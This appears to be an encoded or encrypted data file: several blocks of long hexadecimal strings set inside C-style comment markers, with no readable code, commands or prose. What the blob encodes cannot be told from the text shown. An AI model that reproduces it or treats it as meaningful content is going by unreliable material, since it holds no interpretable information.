e2c5665992ce3caf7435ad996e41c3018cc82d983d0c987827703eae6eb6e1fd7454d51ca1b8252a99c72d56ed0a15fe9e831b0e13c6dad3794900c3d28f78c9307a8e78fd0f49302f1d990938588673edb3cda11aafb1dfc797fb145bf36197ed3ae62cb82810732d0b27803d076f0a0c73ab7618caec3f315486db34ca4c4cfd6b4998337ad3bcaf224e3c54fce14b75e58d0932c8e9c43cfab49df9b61eacd440c5d04e3c9832c8d4932c8e17cfb17efe2fee84abfd7732aad960f65a18ce26f622e5741c520d93f8a5c2949e1139a9517d18e6018c52652aedfe8404dc72cd66632198eb9fe3f575cb10cd0dff0f7e920c0e627bb6be31403b331faf69dbb91258e7ebbbfe5abee7e2ab15c513c6577029c63540786b67601e9ec63d80ca1828e5f5bbcf2804b74641590dfd58d908b4d8a2e81a9511c9677e405eba83bbdafa787d0fd37020feb76c7147c968217a873282bcd41764be92f195307e3ac8f1272eac5be995e347058eb6bfaea6df8c0e280a82c6c9f5866f06c5cfe3d7818a9f093bcf6d3fae2c7fb761451e7004be944c07443d32f238085fbf6f378486433e84ee2d74992ece395e3f24b75674df3e6e6cac561ec8f354fb33880cdcf2da09237cbb6807cbe0a401b418d3364f010e56dda257837a056cc093ebf4a169066baa26154c2b8c1d4d8baf483a9812512bfd56ef696342f3364e4ce996e6ec55a675e81f116ad00e5f1711c7b4a61bd914d5205795d5eb51df37d7e85f6e13be5fb904fd2ad59579fbe1d2e4d8812612a784091807cd5ded4d08133033d4b73708f768c2d24b6db2b0cf9ca1f66859a96c3bde93f36469f0d46c58a5737015f7c847d1be9cc365f72c734fbedc36a1ebbe19d7e66bb7af16b2ffdf81fa79a742cfcbe3ecd5552eadb422540f41dac4f48e47479a4413f0e4675eaba4acaf9d333edbada57b2e5b9cf94cc6bd74e988aeef281b4f97cf72c2206ae8369f7ad9a52ddc11927b28678a0d35d870abe0459966fb2ac938182d2abd8f1d83dfcb5b2ed5f66660e46d8017d06f123e9f1a88779e1d0e82e3526e22c1b3488deedd96c561d2dba11abf324e0d006ba1aafff36894ac3f98379f9e711b72d9f0edb7f993c3dfe6a5468c4ad2f68e6e28078da6150f30b815f6eddb97f81748b846ec350722e39a25f680ed37c0dc803282c8fb788491c3fb4e41bb293c901e79cedcf511194a8fdb5411f4fec975df091a6ba6fe1faaae0e17664ca13b394a8edf75ba7937f66cbc1919ee298dfe083bb7b6fb867f84e726f0f668f1149b29e16217e82c2d06742809b07415646e2a7828793c5131d6506bafe027d2710ca0ed59b5f96ed2eb4dd156585f67b8eae78cee4ea5bc9f2fa0e5731cf1b7a5e7fa58330eaa8b486140feec6f2d98e6c280ee5171091b539358233916104913114b7d99c0b97faf7d2e9a9ddd*/
/*f3c4a94dd567341eb291581a8c9c5c10f6975cb670caa78163e87bf97c499239e1bbe02b1801b97c124db179ec256a792e6cfcfd040c982307d982d42305a26fffee07897bf27df802d2493de617c559aa0b2d00f90b39ca85e271566f9df500e7d62a25caba8ec82d29cf4ab1d59e1765eb799bd4e4f55f2cde19b3ab04ca3727542ecc2f8dd51a2affe22b1ff7ada641f1650e3239bbe7bc69d65385314b4c364aa30175c6323be552f4cf0c658bf70c95412634eb76111570d8a76507a0481be6a05c0ee12ab5cd38030957f16e0d819ae7260dc920ef38525c12594ec9909cb8c6b02ca2c0a0182240f5399ba95ff07ef5b1c4a8c32d8adb9cbbe92c110026989cc7a1a1c28ce5c929f42b7b7e6b8bd77dce8c85aee79c92bd6a787c08b317fbb76e04f9671025b48571dc3bc80c655401851f4594585c614b6119659f413b4db35e21d4cd8134a30eaa9ddeb0ba63dd4a1eb795b557da3de98a4daff223bfa82f1aac159899fb81df43513949febe109e1a111006e0c3bc949b3738473203eef4ec391a6116f55c383ef3a3c6c78b5f1a4f70aa68e4bf28e25e47d98fd3a24abcdb69d64cf4fa1dcb854a727d1854315c73c849680ebcc5c21785d1a1ae3ef06bb14b0b5153cda329fc440801045f98f50e1fb942f091b77500f839180a0e621871b1bb57d854ef74da8b237cfa59bf59e89d9f8257335411d5214e89d4e550106c8feaa2a33d8d0e540d56ce0edee9f11e5124791419fa2b50219e5fccc49ad809ac9a39fc5c92c3274a55d8c1c707c7c5f90a05c98d2e29c5abe3fdd481f5554d74d1c146d974412218492397eebe2c5a7ce3080cf3e58c774b9ab7b9e41a346bedee398f1655ad178c56b9fe1a8da0bc0ae573f7185b3bd25adcb2520910ad5c2eebca96ae71fc4a12b5a957dfe4d281903e289ad371b22edbefee196c4e1f67222e6928b436ff9042f6bd0f534b06db6ec334f898d33d4aa9abcbc8d5cf71dd4af9031c44b4db9e278a7239c9f29b45046aa6563ed9454bacf994dd9103e44865acbe3fcda5d4a1969ac0502877d0b4ab0d0d166dc7bea531cf0021fc760eeae8e72a5c71f6a0be62dec4bfd6094a4d6c5964fb40bebaf6e4e909f02e4e9d2d80d39e89ebaa912c5de1b8687ccefe39b227d22f4b9b586c6d067fc147663f3ebe236bf54628eec020150856b9c3aaf22678ff74baee5a69fb40415d19872cbe857c510ae7d37005dbaf130b1e703df470cb3a5fb17fd516f907bc6b5bac403e56421f52c6dc52d7ec3d279a2c13eb2752a22d2b6e503a392917b33241321c290fd0d5681d0fb1921d8f5babebfebd544c0ea1ff6cee5b515956413ade968030c13206ff6b957ff11336039905e0b2d5d29d10d4897c1f57f898b7e048934011f38522ce77a9ea65eff1b36a6b0973fea276760944c69a57554afbcb08dba8378998fb7b9d79b1a2534855ddc452a53b5e4322e31ad476b9e09c59e5d0250b8e0eef37a2d908e8a229548f5c6e947e4bdca3d37a0f9624f5e895a7de78a1b8bfd022d3d1dbd03b9b8e93787ba7b9939ba4f2fb6cc18e68530ee11f8018a0d516221fa3f7ecf974fc3c5a2b9177d8eb11a40eb771d992ff3e471e2a806cbed4ac50c3a5753b3e501e59b033f2a15f733b9630c5055674eb643c375bf8f1dda2aa6c363de897d9342a160eace9b3dc2a94100aa5f0af351b651b960fe0649736765696b6ab472f2a9a04abf4128bdbf5fa2b79bdb80bfea965e9761fdb2086cf7d73cfdfd72fae7139a10a6619285a21fa63dea357f40735ddc2da56d2bbca794cf2d4f68c4d9c6d1f0c8b80886f92ce2832efa5c40bdeef8b000d5b55d016588b894bebcf89f10a8a70a4c36964c083685cdc2f7a5dabbef1e33baa4bdea0dd7c5437871f02c20a765494a3a896191a312f212576e12cfa2adb6abb11801b4a804ee1cb3fa7a3d23953b04e2fed3a5c4a2bd85c3b3eab5417b54d4596d0c904132f31cee6988a455d6760175b15b3249ec5e009a6c30e010021601fa620d62f32b5ae4d3845c7e8f0e37e9d0ed32c7e17e95b5a83763a6458cde61a46dbbc64e1d01f49f908fa861293c9ea25f21f8887031a63ae823d2507606091a77af063b8c9d824a8ab3bf91fbfaa872326baec1ce651c3b8924c96b0649e7a8a6ba01b22160eae4f4930461cc65887087c2b09996630fd262a6e9a9ae002f2cf13441522c991b2ef3aff47a8ea5bb3ff8b47116c92d79f5c3cbb22fdc58c7fecaad7d34de4adac0b7d9cefc75a6289c06b56392e385edf0999dbe1d10a49532157a3a6c6a2d5bb3a0f6d0b322305b1e60edf5475630e817c3b2bd9c51434be7ed2fad9b23baa575453b279a8d797c6ea87a67ce3a8e9c9f09786118520df88a091ce38468fd72551f04cfd13a82d8548b20999295c070eb081fc82f4078b49bf075cd2ccccff7c369a6b489955c969f17c56bdcc35181e3eb55a57b928bd961dd62225ed81020bcb0745879ffa070df958d2a6641c487b5cddedb70864668e596fbf7cd8bc4f9db4e6e7cb26d4c7b531f7dc4e2c25ea0b1a3d2f28fc6baf0e8d57838222e38bb887896b8d9e22cf954ebf75884dec062b8b308a1ccb403c7fbca85db379e26b9847e63c3bc8c841f2589f68547c0b5a2b82525717d95bf7a49e81d31b7612ab79c0bce792cbcab85fc5897214ddb5c278bd559d1cdc097b02b86728f9807ab81b954b4e0b6da2f481d2286e5a24f5021d7eb2b9bb986e2f2bb1c1333e905afa617a7ee92469635f8265331ba7b69c0e5ce2a363818f6d81cdfa0dc118492523f6844ad6eec23d9d92de*/
/*7f6d73161a529023be40ee123d3174a4d1b53f5118644b7753dae6737584006544e2a61d46d779bf5160367f47cbfca6c2ae450dccec5c265a27ba9409f2691807fda15dc0840171b66b6ff501bfe1e3e24f0a538d64931ed89804641368ad4100ce569bb58faf5cfbd422c5341862d4943b11acaf04e92b540f5d6546dea300b93d2dd5f1727afe5c46e1434b98872f754fcee86e8f95839b2b328bb6c56d8d0c11bb4cabfa0fec42a6cd1059138f0ceefef1038f5b234263b1049ebef8339ef9ce3195f662aa4055da69776a8f80dd9983e3749f0ff2a6d67cb214a63b6040b842f6899c4d3e9ef6381b40eb1425bbdd5cb41bc20091377646437bece30ca0b13f8f1dc4464cc9d4c290a4a2bd9ac414c460eed3b7e2fc735c64b4ea4656fa8b1cda0c7774b2237d7560ab673076e8154eda88a6a29c5782707b3126b0c35a9ee7845d0573bfb51a301ea9dce950985130241b648a38c03137c9d338facd754bfafdfe8ef901597b5a5d63e31de63270cf7ebdef29c34398eb87b49dacddf37c144e16f18a8e4331d399f5bf971657bf88ee172e6117a7a5ca39eb5ade5463713f788a37da8698200bccb81540505ac578a51cee124811fd6858752550cf34fdcf54af7c7b4c8528192d91118e72c4eb3a05232a288c2345146c1bd2d4a639e52f49c586df6e219cca2cedad8cc0d9e08d488c39d233e74cbee5e025858a4662f3ea6fc7e4a48de43d21e6578664bd191f0e10f6c49f26c9a4511a0548084d7258c257646fb01479e5f0677a797c28b4a65036abbb3ba8cc2bd5e5a9f78a2c51a5f97621bfaca9cc20336c8f8b641805eee1c7d5fdd3326daa6b091288923739a337184bea2549ed0d7890332d6ece00750a66316f07347ac446694e9c627208adfcabf90a9f3c979d6d3607631a1db354800b7788caa8d9377c0e829340e95ab005b64a2f12a3d9bc4de8e6b7721a27cf562e71bc960812bb03f953ae15cb69eb96ec5bcc8567b2654901abe281db80743dbe66cb538149c83b06644576674e4945f95c4478ae325428351cd388eda136e8fa459f179c0ea31378159601b57798e092a0ea8a6677cee4f63b9be411ff645d1cc5d1db24197f401adff14ee181fe8a5f4f4af95feb6c3ba70251a076ab3cb409c5f0262048ba30d90bdffa0efe9e9a09b838c701bf58ccdbcf8dd96f88944f6f40c9f87299e76f06d4935a979897bd558f622a037398fb5aca33113393fc8ece7ec8cb52a2923c3931651800a61061c24c9950e61770e1bf8060e0e86caba5641cad5722fd94181dc58d586d80afd985a8852f5a5ec142d784939dc30b4014b7de5b81306c82f920b8795842db376afb0d2e9f387ce737a2060405616c1d191475b9a52dd8579c9be35001568775ac4c50da34a324f873a56422e239e81b11ace8fce8d237aefe871cedcd0f5afb2471cc3ef7ac2c6731ba3c97bd68cdac5087dac008bc34feac8a356383a8ced7d60e4968211e00b86d5412c2142412494913fe4fe1b6cf65fcf54167609bba3188c01c6c19e21365aee6ab684fb205fa021bb22faa9f921cfc40fcbec1d1685ed4a2e9962bd192451e64f516d4074c53d95eb24b8d6193b69eef92985b931164b1e1a4721c76684a03cc4f24fedd6186a638a3546b79bd75b84ff7a1c230f966db48903256b2d58122bb1854b5584ee07ca5f2c6829c3a8a87188210a8d38902b0be6d46da6d80de2abf25288f483b738a90f73f2491cb66027c4f27f68151c234406b7fbe90e2041362a5c0ba412a48be403e84b83b9cba14d1320773ff7b49a605ce68aca9a945cd02a447a4650d9235a4e1d9138a04536047ec0695d43fda9df72f5b5c0bb5ef57e3ea892e6a600d4dc9f4d6216124213b805d2128c7c3de278c08c1ec9685849d2231697c6ffcf0a5614330c6f451a7dbc042df728fc1954bc1365fc34140b79e0cea62be98f726378078ba304e881dd741a7ad47f81e09fa4067ed403fd3669abcc62cd8819149b1095b10c7338096a2edf9b0a801222ca0373cd5a48cf67132fca2c9d24ba951e196a41d03b94a44bb676134d64fe511688d7329217b8a378dbcd951f1ee4c9cb0d5f137f62e21326affc1670e0a21c2eb768284f2a9196197013fc84278d6115734d6ff7557349b18dcde36135b56b476f3be14dd4568f34a1c39410bec982191226c22f03a3dc5702fbdcfa6dc30b9b3fecfee1a874a6a12c2ce7a7f37d7b3fbf97e962cc1671fb4aa40ecd5b1de774647ebc1a12d7a27f4130ceffb288fa30474a4314483fb2a40ebec3bfc08ec44da3be31b62b0425c3eb4f19db7f007023fb6de663dd2e9fb47da582ab582131fed812212bf6b55fde87c3ea58bd75343757d0cddeaa76ab9318201d814166f5d3476e3bb90d6aefbaf19bd6e4de4cd3bfd2a87b8660d77d36ab9c57d4fe04da9fac09d208d45e2d17309f9e82b62cf184cc7312c1f6a0f72290b8cc0b3ef99ebdc1c74d3addd67935ef5583c77abf05c03e6f6ad134c4ada811f54bae73d6fd44c4df3d137a551d91af49e61d73ba85e24a683c20813e276ed12944d69fa73ce18b71cb650db4e0d552f046856b160f5f381fa14725cab0bdfa86a1b4dac3631d240adebc14a99987ca20e1f0ea8528e58e4cfab074791f7e7c0837f35191eab792f14e16ab9ab99b9e4d009800567911460ba227b79bad257609df1e02e3c5270b002df7c3ca10cd0c9b238586d8c3be71639bbc99f33bd6164861b44447a1ccc5be38881375f90ff0947920c6b14654389db40b25636aed7065278a57ea5000187143b4e736ecaf58e86e05b1f*/
/*e7e6232b116056c8056e3842358eb118e9b5aa64f8f70badeb80332b23325a4ee39db4935ed1ca66fe289e0a0a649745be9909c44e9431617a3cef2b7369f00d55e8c1861325afc2471a38f84abea99a70f09e6b6c9e33b1eec246370746e183996791f8ef426a2e7efeb980f09e81292f4c93c9dff87f84b0f68adeb4a47e46ba0760840866c6caefaeed417a219b31855a3ddff588437152d534187bf301178323a7c6b186e96fdaeeb0216bda7a9c08867a1df4c6030d004e9c077e453468d46c0b924a47e22aa378c3e28c347c30759bbce62a238d2cc19c12516ea3b43c99a9ab57979fb5ecd260ea15c58a16c4807627dcdcb0c5cf8bf459d2ae7cdb515c4cbc4cbf13f27196dc6619436d7b3482009f0d1596b63fc2c54bba3f5e78f5eb4eeadea274122daf758aae0fd275a34978f23460efca9b8b5e77821e62e34629aa860ec8a335001b08045846e1ccb4a88ab9f9a135fc6db129cb75e645f145faa161b87de7da1eb3b7bcae7a0c57793a8dd5cc0f19f97cd2f36702d047e8a173194171d4fc22145de531676c07b416e44e3dcdc1a7603fd23e918242d2987cfd0c0b8ac5763f955b02c18557c16a71a60eabe33eaa457c9bf95d1208c24af04f2234577d7482cf106f8bbbbab77908c5329de1da4e4959bc2df6c933dccf38e5f021dccd8646643da17b02a872c66299b8d049b236fab5c82266b3d6da53092276e2ec8fecd5871d2b96b207867dbc66383ee5d7963fc1b56a0d3e8187c0de85201f6567447984fc8ae89e516431ccdddda94f88386a610965987d98499c76fc5343b3870d2945299cb7fc7a6d8ff265f9a865e57a63a99794f667d67626f590aa965f3539ef75394d94774ba0351015edf4ab27e81feb5493ef77dcd7d271fb732c6a86505cfe389c0d13dd6e485d904ea5a173a9b64a9aa6e012f40d9f1f6096d027c4544f78ba3844b11390c4ec8c6104d3c2ff02bf25d68f78b9c1c26770f0ba6ebd041fade2c7ecc9ece3403307899fd2e44557e089c158f7bed104779b9e28d14a4d9a2b762a592785e73144bcf5245ec6b5688157cb6e6804a06a9dd9576fabfef08d79b64bb4ca92fc2b23de51248cbbea989256222e9ab93428725f5f8ad87e5e726618e19657a20274ff0bd11c44cd78d2aff0c3fb8d2f8851df014c53c48c689e712a58f8e813c7d149c127829a6e6918f66588cbf3618ceac5eebea592d2dbc25de20175afc81cc86c9f6908921fce2d99593e48afea4d3736576c3b630cde1a55012993875407ceaf61d52eaf32fb340bfbfd5f1a1df41dfecd3364463a8a16d761297514eea5883817fc89ae6b91d4a9bbe9e66ded758a92f36d6e1fa78d8eb6de69198db0ac6844e1fbbae45250b69da8f669fa0dae1d0ab1a6672181754f3d6c17d82ecb6658cad37cdf921ad5693625f7b37894c62ae578cf7c3ca3df7734f2118c416173dc31cdb4bcd8b337531d0fa19252f79699ea168849afed29d2b4d33300eeb56d6112f33570e528fee8a90f8f1cf663a5b68dc9ecc2c4331303458e0632f1c8da79fa796ffe591374f4e5ffe0b65c0a929220b47dc3116175120ba010b8dc048751d8bb7407fdfce8e0d337081f80f00fa56b387a8d8e40c344def6967c8e1a9a77d130a3bbb487599cb68b8e911e96cdd4e210b0de02651d7ab883035556f425a0640721f4b3277280aa251846766995c04848d172a9b076473e31ff59aa8838283e0f7513399958e61d99786aa6a53590aa7a202988c7c86cfb5eeb7a27e27f47b970d3cd8ba0e0ec3bd7e3c8e700463a2856025cf28d277aa7699832e53d25ff2aa09bd89ff646bc65af65b803b06281a6e1b7a09aeded9f76fac5cf578c03ff0fcc7d16cc8ea27d0573769ac941078904ecacba4afffb9941b3a2b1fbe4f157ecfa356dbd9474d0f2b4fa9abc6fd64658e614f57bebd128b4e25736f8ce699882fc403da6e10d7ef426fd831f364dbd6e255ea860bffdf76de830586126a41df6c0b549cd6ceba081cdb083c4f0d26144eb7f2ae0cfa3fdcac3ee24570b154a3da19d1592449f2b51eaa7db48cc271c44f2688f3d3ebb5a91d6651da8cd2a69cfcc0639c7f528a4bf7dfe2b5a368124775142880c030936f19aa1d94d67e4c607a93382500aa57dd68cd607b478254cba026654a1f4a99d55b9e1feb4053419dd2f3269b8373385f1f25ad38956b30c9409aad620b8c6c2e6c8dea7186561598f6c67239df94d51747ddcb0029a210790af212cc366d8569c06f31c0a61ccaede358003ce441a74840688ec6d56ddd3af3e7a03b676600dcd58a1bd96967a9534fc413831c1d64ad6922fa16281ff424156d542df3fe3645feb22ff8c0c8b0b9718f36164ee6e84be409f72ad3b7d4c3f3dba3da9cbecf5132f7a504dea5e75c17388f0fb678960e55969c33dcf8debd3468b6e68ea45b300a0698cdef16d6ed47ddfb08c1da74705ce306c44378977655c594d633878d99c8d73a98ea2125f2bc61f7a1de4d6176d231d3e3eec2b10217d7d0fff58d592738f7194225b06ba45e761ccf6c8138c51e691992bf8f575087c6459f586600715e546cfaf4cbfb9d649514c46c032225c7f36ae51e5aebe55c40d59d6f6a0e43254db86ef3e298e49072693623d222c90bbf999f4eefc5955c3768300f31f428073ee517cded768634d808bb6ac9c45fd340150cc24129210cc3fc24d4ef6465b0feb7bfbdf805139799750c3bebdad554d007a304ef1cf38367126a4ee5c8ff4d62c420a37a65766d27ae7db2228cf95b74b2bfc1ee06a8340cfa928ce07f94a68bdf9e40bb8beac*/
/*118a8a823a17cd847067a357d0017d1789d48ffe64bcfd12a847676be938bda8b4b0256b4324798dffb0bc54d4bd471470d343205cbfa16c8ded9e78f257e315666ecc269ce16a3a8e87146d2bda750401ef1c8649ec74783291a40d155183cfa811568ad36fe4c344640b5a4b4de4c9bff412734e358dc6a50387f739c47bfa33d2243397d088a5a4cba998d286301b6a7f51db6d2d399d9018763fffccce7c1f47ee43c6771438f2de8b98f2538353325fcd424a8c25d55a8e845f701369a35c810af5d38e627a132ff2d1de2f2182bd7e13d21cbb0e9bf9a8736ab2e9b9101837a1042cec2207b9b4e8cea831c8dfb31a5bf91778b35813a041373efc43603533f6f672457b46eaa1f44b0e22899cf06165c085d938f98599dced339c4774f81bb5ce63cc761a58ab042b6b52458ec031d246ec2a90c25a430a066973056728f8c81898241163a53ee7119b8b02eb90e122be0310f77f6819a6a47b0212cd0ac4f1aeb4de689815c65cf09f89f0e6cf33ef65c4a49f3da7fd59d363026e6f708077242dcf8eacfe99bcdea983b643965adc3c9fe4d8e7e1eb54bd03e1a4e189694eeb7b273280f4c8ec839ec48028708e0132b3e2e22ef7f00743752e4cb4873acb7e6e4b8d0ad1ae40ee4d3d36341a82d9de8495eac7ff2eab3ae6837af6a918ae20a90d4fa6916b3fb251b7e4e6404867cd0d274e42b360311f4c4d9ec664bbe6ed494720271b2c79631e00346f91a700a0cebe88da9aa212ece340a2623f096ebbd79d42482903c257f6fc3a3df5fac4ceac05caced9f1e638a46ef5815edb4a541b7bb618a2ace566489eb8810bc5d74c7afbe73d56614259fd665560b44c3469b8ec9395d003a35ec9cb131b67055b992d0ebec978231541e861d25a2f5fb7b171d6bfde2a6bc64fef4d845f29478485b2f266edc589af88db9d2dd520a12d63c0b2625aaa3a5b32b4807243ca6797817855d7d99df5c88d9c8a5d47b6bd20fcd0e1399ed806dc3110949d7fc67a5928876b304023738d52b028ff33ac7e4086b027ea018d96a71134ac7e2048b84c6a4d2b39c65651fb5f8eb4ce1e3d039f042eba48dc4ddbba34e9388f49308e4fa3a6f6b1ce7bcd3bec699ec3991da9c0df716b16381c2e3634a918053aa86625c96df10660d34119a9f56ebdc62b9c43707e27d195083700540d329a6158e4fab0b2849122f62abdf4050a2a1272acabb4152120e0fd42903d61c500026e13fcae1771c4c7217968834a7182764ab6c0c13fa1cd9aad1c404e3b7cb384dbfad2ea21e362d25b865f13f7c87492efcaaaad7c8b23894ed78cf893bd688d3bd4a8f08a8ba0e98901f046450a1c2a022259b874184b159e7946b578a71c8614f15c997235120e9e949a3f1a79037043c18a496406d026f976bbf89dfeeba984a5c351501850e81450f466425ca1f8d7115aaec0b168bf93f482ce8a1430ba457c367ffb2a36d2476855979f52322813373dc52d33f0e431d8f67bf0ebb757f5d76e2f8a432cf9849a91e9fa9cee7b48bdab07597b6f7b69d22d904d94ea08d06014edf4d52afc64f0c490314e296ed16bb0fbada0a72da96d5d64ee4fe697fbbf73eaed0bfa5b1df4a818c7dd096f5d1e43d81e7db5c9a157ac01d8cde075ba4eb47f5e6e8d4ab82ce1d2695ae617915cef5e2878a5f667300090ab091d9a729477835a9a27cea95c7dd8616c8a3b762f24d113b828d8e28130d0d31c5b4fcdd864b88a22bd6ac21cfc232f95c66930dbe3173816cb138ac31c2f40a823d9815c5ee527f0be5c3f1d41a8f8b7651bd5462499f376f60fffd6fb9cb5bc97decae1a83192517bdffd4e8cfba3c29f8e7d357c9b49174cfd106c3a8a160d5b9a008e4b4cbbb33779c6fac8a8d1cdf5f61ba6b5cec15f607dc0d9b533282a42615c00c93cb6dfe4618bd316866136e20e8336856ceaf6bdc647ccb84532ff41773346730d00c12c741499c8a813e3e1fc87dcee06593728ce874556fc8d510d9b30a9e4a22597106779212d87b4eaf3906409494097b9a52100a974df8175e70ca8abe72c64a44ad432038656f4b96372aa0de479be122f92d705921394160722303f38aeb783fb81681ae7edec896eb48c13146873d625fb34a7c07a933e8e66cc35f1a221ff30191c80548922ee153fb5abe8aa2023e0f3487aa97278b5274e562ef42ac8ae8ce2d3ce2e952b380efe7a9ca484f0b4e47830179d7b6f16fd31d869c09ab10ac8e3cf3d15371a48eda90bdf38226a69356914996bbeda0a943aaff4f6465f32be7b217bb9d7e2f5633ccf522369791ae5a60dfd85a7e3591db6dbfa3c96577533b892d8773abe71fb2b9c20d0f56771a8ec0cd3e2c815a4e3dba1fb72ed8ec96dbcd69110646edfa9a8876e6f86a0377ae3c32ffc2f87e5ec6317d6640064010310df0789acc33f0c63dd76285aea1da902bc31dfc3c91109a84ae0488b225e80b9dd0a888c91abd69c57aa2f0af54e46f394ba883361647c356d666894def02e12fecb6fc9276b6aed93dbe95298e4b921cdc38faf52d95a6b4c5b20f2092be584bd7e9704193ad7f66d4df00b97eb7cc4d2a8890ba3fdf3dea18b51b50208d6512392dd129b9ee28a6bcfabc0ab9bf762fa8e4083236c9daff8c207d347e5dff5504a666e84df78f2fc38d21b90d6eb8fbabd2f061aed45a53db47259dd249a0baf3dcbaa68f1827172723246cf65512f5008d6a4987631b37064cf28148b3ec067afea75bfd7e58b36f1c03aa2332f9c0b5d13f24d2ed8fd27750678e0c36a97e0eeae0b8d2185ad2435533658d438f80e3ad6bb3d755deb*/
/*a5f98af92dd6878a1b2c7a75f99ae55715de02504445091a99eb41f1e811fea3721c82d0f98d5b95080edb0d002aab6bf8468cf13a177fc6ecc820d691993a7b7d9ec73878c3fac812e3e43939677cb337d2a7b6c1232e373b37c3b4f35970d7268080e7d02a9d41a66225e22d086f7b303bc5cfc73e09055017ffda1118aa86a2d56b98ab5260204cf8a821c8aa60fba63dcf8a0edd95f0d15fbda5c9777f8fd017a3f5d788e8ebbe7fe8f2de96d5c6d7a44200fa575a894d23c3ad2904097a5a038e6cd0c82d1232452328366491be57401f759aba63a9dd2d14b3053a3ea328a31494c00f64fc1fe5276717c5b640c34a9ecb47fd921eb693b0ba9b30659ae78e65bcd9bb70cfae83ffac50c0f01191b58b4686e639ac2af4a7874d93478b91c25da3d03700b36d5786e789c1e8db9e27c12e873a48a0e0ea7fc418024af7cd731a3423f8f3f84794416e491927ef4b2b4aa89ca81b3bb4a907efe4bf0135f339bef262f873ee3ca7e47d8e231513991d443d70156f1d46444edb32e6bc8b875ea20f128c48a4d269685251d05ad412f1aaa3220eeed87f82cfde09af8230b4b086689e0ca0ae2ec51ca6004b39006e355765f40df00c259ce392acacaf84e51ef4990d112dae6cbed183a53b0abc1d4771def86b632379f42396caba6cbb439764bd954a92d48162778fec5a103af76fa3d16e22385ae676ee646ac30244f405726afd609503cee7d9aee63d82ec8a7bb486473a2765ba659648ef87e4abbc93b1d1c8dedf99899fb3b40222dadd4b64b82358fbbac27aa9e387f25a9f5c990b1bfa914aa1bb748185b992b98517e15efa1e40766a01f59e11ba447df83ac2f4b486a581466e67ed8efd8d87f678bb0b8a2006d802f6a5c38a0558cdacd79539bcd328f8c6ea4102dd1ce42488dd66642797f8da5387ab3ad58a7acb9e11eb0a334b6899fbb2b0b3b8af26dd4994d2d9de00f63e673cbdb9e376ec06667bccf1923cd0e6b21279eacb6ad23f2589b5fb28c9946a434f78be3893b7835ce5d6f46377c2693924fe97abd314c8f06fa0cb32ec3e08e25e823b207cc6e9907928bc600adcb526afc6f65b5671b69a3e3b753839a397ce85233deb78c0041201f580ec0b2616fb755eb015b7f88e1db8f301673b6300a329fa9a2f103ebb61c817d3cdaddb34ec0697aa6f28d9d5b87cdc96ac56139b2ce89d6e7b8e958f65feed16227947622c3f50aa92df56524bc0c20c26891e6c90d47a85ae6b6d58884a3ca6ea3f8aa9058deec704f6575e986284ae6716ba7ec28944ca82ee3402d3afcf41e820ef08d40b82fba363d27ae94a03e320452480e16ddc6a3de7ec84bff2f76218ec48107ab8adce0f61f784be9dfb61a7d509e0896a5aa7468ce6b55235d3763ff6d765a52a65e050752411c501ae61d5cc1a1131eb7b5b0fe4e8e0121b219059fda6c9816a47d93ae0664a3cf6596f7910ef2a51548c0d3e039c0dca04c72287e474ff40d70cd9b2f2537626b159dcca068a034b21d77c380da0b6000bae9d7fecdb68cba46ed9e80e7eee7072910715f999e05a8d8bd07d98dba452acc3ebc8d52c958a505837db0e41b0328df626883ff9012def77fe33a78a589e28f147650f862bcdd557783dab3b97b75657574b5fc972f07e8176f94dec5487ef9c4264af525696bf66c77811c029b57146d8ebaa163c71d75c0f4a887508360b4fbf985631c6dcff9de2fbeb30dc849a7bc11aad046470901496b0f7e86cd6bebd3479ca52da1e02bb6ecebf8704a2565ed854b5dbc782684763bda6696a8f6106a5634737ddd5b8e19cf78e0c8dcd367e78760f20f55c4d1cd75e1c1abd63f2dac79088d16b5f7bd2bf9f3365522798706d97155c222f9596bbd10a47e46a8e9d445979413cfdcad878ed29b0df038881d0c7efdd278b669c38e9f7f21c16c8a7fe1da2ed7cb7e089d061805dde8108ea4abea39096d17aad32d46a0de5bea0115f4e13ec219c335e120cabe624237a5188620c02bff0323ba55dacd11fe16f6b891b79c655517b0916c75674d853340a87f8a42efbced4824d349ce2bc25d0a3181bc6afec17ff14912a4f4de50d8fbde700760c95fda870aa23753fd4547c1665081f742398e981966c1980310215e15404c1093651e7756df4e78f8e3c500a163fe92fadcf4a5d6e00de4a2f7f46b0db014cdb4e9d3e3ccc4a1600692ef3ca91e9108dd5fdddd2a0572d6ba6d1aada9de7475b73bb81981086d7feda933d59c1056dbd0602474f8220914ddaa91fcefeb658ae8e5f820931611134f403955d4549b744793a4b2370f0b544807f39d82ee5dcde6d3a79844a2b04bc739af3e1f6625fba4e9c7f3515d1a8a98e335d651511de61e45f86c9229c0d7943a5ad827bdfc23604644b496c2d3e7dfcdfa3b4c001e73b27905bb2a3600eed62e5f1d4305e9b7126e2cc8c624bb417c6043af5d819992c552aa15eeb10c0f67a2e9369b81354e65ac0d7986a81c7ab329d84368f7ac99ab8e9efbb8d35b9a9cafe9669c35461c887b1ca0a0d5127df0addaf564198d38f05dc3f0a57e1629dee5468705c7c6f8304001e5ae5c4f1b74e39802a0acf30e8d37a3fd0c7d6974073b8352f74f2f9025d1d50b8d2f890ea29b18dacc66bbdf2c57b6f4b6d3ce81ebebb246a6d51e8560ffe364d4281f2c6d64c1767d4c5296c7d6e1195b8b41618d37953f85019a49d8c3496ef791b3201eb582a5df4408b59c32829efd24d9b979675ff966d4f32dc6796a31037f433aedbe143a6f6391a82f120901f4d63e6d78d8c0b5f48dd9128e8c98a55dcd00faaa96496*/
/*accb50eaf5d9efd267789171a395ffed2b85c8f2a8d2f3f64da1e8bdb6b2cde7cf85a74537e98b588b2cb52571e88a8e0edef95477ee1352aa93996aea83dcb9ffe5587dfe831d68d2307de0df16f0d81bc23e5fcba96623b27102d9dad98f0bfa32fc1338a13b74268a9c04a8b1fc126898b7ba34959243e16ca1823760a56655359b1a5e6c49d53471a84fe262b41f196c64cba742a804dbeb309f4abe4938efadbff184f221fdb1770eda103254c80134f92b9db45dfa143c79e28129e030bb7d85462dfdfa9f04f680a9ed339ca7a88badee712222c86221a437f1b03a66ff2c73ffd15b4f8294752371446ed110fda915630734c5132d1a6bc9ecb5b85dba5447fe776cc869121261ceb67eb55e98452f819dad7e8ff99478999cbeb95192883ea5186517ccd27b2ddfbf95dd2613baec8926658269603e355aa30bc14a5a7cf442c5b10e8ce88665494b42c5d1a0d960ab7ba1402d9b4bc9387875e0fbad323952acc8bd7181363baefa69dc921d3c4a683026d3dd4870feaf3d463857ff5f3dc2f3ad4e95ef0ca1f11385628a6a8ea9d0c04db5cfb